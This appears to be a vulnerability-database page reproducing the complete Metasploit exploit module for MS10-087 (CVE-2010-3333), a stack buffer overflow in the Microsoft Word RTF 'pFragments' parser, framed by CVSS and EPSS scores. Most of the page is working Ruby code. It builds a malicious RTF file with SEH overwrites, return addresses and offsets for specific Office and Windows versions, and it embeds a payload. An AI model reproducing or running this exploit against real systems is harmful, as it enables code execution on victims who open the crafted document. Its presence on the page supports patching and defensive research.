CVSS2
Attack Vector
NETWORK
Attack Complexity
MEDIUM
Authentication
NONE
Confidentiality Impact
COMPLETE
Integrity Impact
COMPLETE
Availability Impact
COMPLETE
AV:N/AC:M/Au:N/C:C/I:C/A:C
CVSS3
Attack Vector
LOCAL
Attack Complexity
LOW
Privileges Required
NONE
User Interaction
REQUIRED
Scope
UNCHANGED
Confidentiality Impact
HIGH
Integrity Impact
HIGH
Availability Impact
HIGH
CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H
EPSS
Percentile
99.9%
This module exploits a stack-based buffer overflow in the handling of the βpFragmentsβ shape property within the Microsoft Word RTF parser. All versions of Microsoft Office 2010, 2007, 2003, and XP prior to the release of the MS10-087 bulletin are vulnerable. This module does not attempt to exploit the vulnerability via Microsoft Outlook. The Microsoft Word RTF parser was only used by default in versions of Microsoft Word itself prior to Office 2007. With the release of Office 2007, Microsoft began using the Word RTF parser, by default, to handle rich-text messages within Outlook as well. It was possible to configure Outlook 2003 and earlier to use the Microsoft Word engine too, but it was not a default setting. It appears as though Microsoft Office 2000 is not vulnerable. It is unlikely that Microsoft will confirm or deny this since Office 2000 has reached its support cycle end-of-life.
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Remote
Rank = GreatRanking
include Msf::Exploit::FILEFORMAT
include Msf::Exploit::Seh
def initialize(info = {})
super(update_info(info,
'Name' => 'MS10-087 Microsoft Word RTF pFragments Stack Buffer Overflow (File Format)',
'Description' => %q{
This module exploits a stack-based buffer overflow in the handling of the
'pFragments' shape property within the Microsoft Word RTF parser. All versions
of Microsoft Office 2010, 2007, 2003, and XP prior to the release of the
MS10-087 bulletin are vulnerable.
This module does not attempt to exploit the vulnerability via Microsoft Outlook.
The Microsoft Word RTF parser was only used by default in versions of Microsoft
Word itself prior to Office 2007. With the release of Office 2007, Microsoft
began using the Word RTF parser, by default, to handle rich-text messages within
Outlook as well. It was possible to configure Outlook 2003 and earlier to use
the Microsoft Word engine too, but it was not a default setting.
It appears as though Microsoft Office 2000 is not vulnerable. It is unlikely that
Microsoft will confirm or deny this since Office 2000 has reached its support
cycle end-of-life.
},
'License' => MSF_LICENSE,
'Author' =>
[
'wushi of team509', # original discovery
'unknown', # exploit found in the wild
'jduck', # Metasploit module
'DJ Manila Ice, Vesh, CA' # more office 2007 for the lulz
],
'References' =>
[
[ 'CVE', '2010-3333' ],
[ 'OSVDB', '69085' ],
[ 'MSB', 'MS10-087' ],
[ 'BID', '44652' ],
[ 'URL', 'http://labs.idefense.com/intelligence/vulnerabilities/display.php?id=880' ]
],
'DefaultOptions' =>
{
'EXITFUNC' => 'process',
},
'Payload' =>
{
'Space' => 512,
'BadChars' => "\x00",
'DisableNops' => true # no need
},
'Platform' => 'win',
'Targets' =>
[
# This automatic target will combine all targets into one file :)
[ 'Automatic', { } ],
# Office v10.6854.6845, winword.exe v10.0.6854.0
[ 'Microsoft Office 2002 SP3 English on Windows XP SP3 English',
{
'Offsets' => [ 23532, 45944 ],
#'Ret' => 0x30002491 # p/p/r in winword.exe v10.0.6854.0
'Ret' => 0x30002309 # p/p/r in winword.exe v10.0.6866.0
}
],
# Office v11.8307.8324, winword.exe v11.0.8307.0
# Office v11.8328.8221, winword.exe v11.0.8328.0
[ 'Microsoft Office 2003 SP3 English on Windows XP SP3 English',
{
'Offsets' => [ 24580, 51156 ],
'Ret' => 0x30001bdd # p/p/r in winword.exe
}
],
# In order to exploit this bug on Office 2007, a SafeSEH bypass method is needed.
# Office v12.0.6425.1000, winword.exe v12.0.6425.1000
[ 'Microsoft Office 2007 SP0 English on Windows XP SP3 English',
{
'Offsets' => [ 5956 ],
'Ret' => 0x00290b0b # call ptr to ebp + 30, hits the next record
}
],
[ 'Microsoft Office 2007 SP0 English on Windows Vista SP0 English',
{
'Offsets' => [ 5956 ],
'Ret' => 0x78812890 # p/p/r in msxml5.dll which wasn't opted into SafeSEH. say word.
}
],
[ 'Microsoft Office 2007 SP0 English on Windows 7 SP0 English',
{
'Offsets' => [ 5956 ],
'Ret' => 0x78812890 # p/p/r in msxml5.dll which wasn't opted into SafeSEH. say word.
}
],
# crash on a deref path to heaven.
[ 'Crash Target for Debugging',
{
'Offsets' => [ 65535 ],
'Ret' => 0xdac0ffee
}
]
],
'DisclosureDate' => '2010-11-09',
'DefaultTarget' => 0))
register_options(
[
OptString.new('FILENAME', [ true, 'The file name.', 'msf.rtf']),
])
end
def add_target(rest, targ)
targ['Offsets'].each { |off|
seh = generate_seh_record(targ.ret)
rest[off, seh.length] = seh
distance = off + seh.length
jmp_back = Metasm::Shellcode.assemble(Metasm::Ia32.new, "jmp $-" + distance.to_s).encode_string
rest[off + seh.length, jmp_back.length] = jmp_back
}
end
def exploit
# Prepare a sample SEH frame and backward jmp for length calculations
seh = generate_seh_record(0xdeadbeef)
jmp_back = Metasm::Shellcode.assemble(Metasm::Ia32.new, "jmp $-0xffff").encode_string
# RTF property Array parameters
el_size = sz_rand()
el_count = sz_rand()
data = ''
# These words are presumably incorrectly used
# assert(amount1 <= amount2)
data << [0x1111].pack('v') * 2
data << [0xc8ac].pack('v')
# Filler
if target.name =~ /Debug/i
rest = Rex::Text.pattern_create(0x10000 + seh.length + jmp_back.length)
else
len = 51200 + rand(1000)
rest = rand_text(len + seh.length + jmp_back.length)
rest[0, payload.encoded.length] = payload.encoded
end
# Stick fake SEH frames here and there ;)
if target.name == "Automatic"
targets.each { |t|
next if t.name !~ /Windows/i
add_target(rest, t)
}
else
add_target(rest, target)
end
# Craft the array for the property value
sploit = "%d;%d;" % [el_size, el_count]
sploit << data.unpack('H*').first
sploit << rest.unpack('H*').first
# Assemble it all into a nice RTF
content = "{\\rtf1"
content << "{\\shp" # shape
content << "{\\sp" # shape property
content << "{\\sn pFragments}" # property name
content << "{\\sv #{sploit}}" # property value
content << "}"
content << "}"
content << "}"
print_status("Creating '#{datastore['FILENAME']}' file ...")
file_create(content)
end
def sz_rand
bad_sizes = [ 0, 2, 4, 8 ]
x = rand(9)
while bad_sizes.include? x
x = rand(9)
end
x
end
end
CVSS2
Attack Vector
NETWORK
Attack Complexity
MEDIUM
Authentication
NONE
Confidentiality Impact
COMPLETE
Integrity Impact
COMPLETE
Availability Impact
COMPLETE
AV:N/AC:M/Au:N/C:C/I:C/A:C
CVSS3
Attack Vector
LOCAL
Attack Complexity
LOW
Privileges Required
NONE
User Interaction
REQUIRED
Scope
UNCHANGED
Confidentiality Impact
HIGH
Integrity Impact
HIGH
Availability Impact
HIGH
CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H
EPSS
Percentile
99.9%